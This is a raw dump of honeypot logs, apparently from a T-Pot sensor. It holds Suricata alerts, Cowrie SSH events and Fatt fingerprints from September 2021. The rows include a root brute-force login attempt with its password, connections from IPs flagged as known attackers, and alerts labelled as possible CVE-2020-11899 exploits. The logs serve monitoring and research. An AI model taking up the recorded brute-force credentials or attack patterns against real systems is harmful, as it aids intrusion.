"ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:44.934614Z", "@timestamp": "2021-09-20T11:31:44.934Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29956	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:45.399371+03	2021-09-20 14:45:02.387171+03	{"_id": "rAb5AnwBvYTbRNuE7Dku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 11, "bytes_toclient": 0, "bytes_toserver": 1030}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:45.399371Z", "@timestamp": "2021-09-20T11:31:45.399Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29957	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:45.990568+03	2021-09-20 14:45:02.388142+03	{"_id": "tAb5AnwBvYTbRNuE7jmG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/343434] failed", "session": "8b6a4126fda7", "@version": "1", "password": "343434", "username": "root", "timestamp": "2021-09-20T11:31:45.990568Z", "@timestamp": "2021-09-20T11:31:45.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29958	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:31:46.00016+03	2021-09-20 14:45:02.389172+03	{"_id": "tQb5AnwBvYTbRNuE7jmG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d2cf7b1654d1", "@version": "1", "duration": 2.1266674995422363, "timestamp": "2021-09-20T11:31:46.000160Z", "@timestamp": "2021-09-20T11:31:46.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29959	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:31:46.069632+03	2021-09-20 14:45:02.390172+03	{"_id": "tgb5AnwBvYTbRNuE8DkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59977, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1952453228630016, "@version": "1", "in_iface": "enp5s0", "src_port": 42659, "dest_port": 53, "timestamp": "2021-09-20T11:31:46.069632Z", "@timestamp": "2021-09-20T11:31:46.069Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29960	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:31:46.159861+03	2021-09-20 14:45:02.391173+03	{"_id": "uAb5AnwBvYTbRNuE8Tk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35330, "timestamp": "2021-09-20T11:31:46.159861", "@timestamp": "2021-09-20T11:31:46.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29961	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:47.14869+03	2021-09-20 14:45:02.392173+03	{"_id": "vQb5AnwBvYTbRNuE9DkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:47.148690+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 713627894236370, "payload": "jCIAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 49665, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:31:47.148690Z", "@timestamp": "2021-09-20T11:31:47.148Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".\\"...........DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
29962	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:31:32.223046+03	2021-09-20 14:45:02.394172+03	{"_id": "dwb5AnwBvYTbRNuEtzm7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:56678 (192.168.176.2:22) [session: 29ffc8270a68]", "session": "29ffc8270a68", "@version": "1", "protocol": "ssh", "src_port": 56678, "dest_port": 22, "timestamp": "2021-09-20T11:31:32.223046Z", "@timestamp": "2021-09-20T11:31:32.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29963	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:31:32.226064+03	2021-09-20 14:45:02.395172+03	{"_id": "eAb5AnwBvYTbRNuEtzm7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "29ffc8270a68", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:32.226064Z", "@timestamp": "2021-09-20T11:31:32.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29964	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:31:32.503705+03	2021-09-20 14:45:02.396175+03	{"_id": "egb5AnwBvYTbRNuEuTlf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 697141661230713, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56678, "dest_port": 22, "timestamp": "2021-09-20T11:31:32.503705Z", "@timestamp": "2021-09-20T11:31:32.503Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29965	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:32.226816+03	2021-09-20 14:45:02.398171+03	{"_id": "fAb5AnwBvYTbRNuEujmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56678, "timestamp": "2021-09-20T11:31:32.226816", "@timestamp": "2021-09-20T11:31:32.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29966	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:31:27.988683+03	2021-09-20 14:45:02.399143+03	{"_id": "bwb5AnwBvYTbRNuEqDka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "15a6e3d1d690", "@version": "1", "duration": 2.3573625087738037, "timestamp": "2021-09-20T11:31:27.988683Z", "@timestamp": "2021-09-20T11:31:27.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29967	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:31:32.507067+03	2021-09-20 14:45:02.400173+03	{"_id": "ewb5AnwBvYTbRNuEujmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56678, "dest_port": 22, "timestamp": "2021-09-20T11:31:32.507067", "@timestamp": "2021-09-20T11:31:32.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29968	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:38.650716+03	2021-09-20 14:45:02.402171+03	{"_id": "ggb5AnwBvYTbRNuE0DnS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.650716+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156565118428, "payload": "ATBVmgAIAAIAAAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T11:31:38.650716Z", "@timestamp": "2021-09-20T11:31:38.650Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".0U...............(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
29969	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:38.953748+03	2021-09-20 14:45:02.403177+03	{"_id": "hAb5AnwBvYTbRNuE1Dm7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.953748+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1053808630861204, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:31:38.953748Z", "@timestamp": "2021-09-20T11:31:38.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29970	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:38.954664+03	2021-09-20 14:45:02.404172+03	{"_id": "gwb5AnwBvYTbRNuE1Dm7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:38.954664Z", "@timestamp": "2021-09-20T11:31:38.954Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29971	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:31:38.953132+03	2021-09-20 14:45:02.405171+03	{"_id": "hgb5AnwBvYTbRNuE1Dm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.953132+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:fff0:9f02", "flow_id": 653491909069612, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:31:38.953132Z", "@timestamp": "2021-09-20T11:31:38.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
29972	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.40324+03	2021-09-20 14:45:02.407142+03	{"_id": "hwb5AnwBvYTbRNuE1Dm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:39.403240Z", "@timestamp": "2021-09-20T11:31:39.403Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29973	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.919916+03	2021-09-20 14:45:02.408141+03	{"_id": "iAb5AnwBvYTbRNuE2Dml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:39.919916+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 620837272750444, "payload": "lpoAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 53509, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:31:39.919916Z", "@timestamp": "2021-09-20T11:31:39.919Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
29974	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:40.447862+03	2021-09-20 14:45:02.410174+03	{"_id": "jAb5AnwBvYTbRNuE2Dml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 580}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAAABAAMEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:40.447862Z", "@timestamp": "2021-09-20T11:31:40.447Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
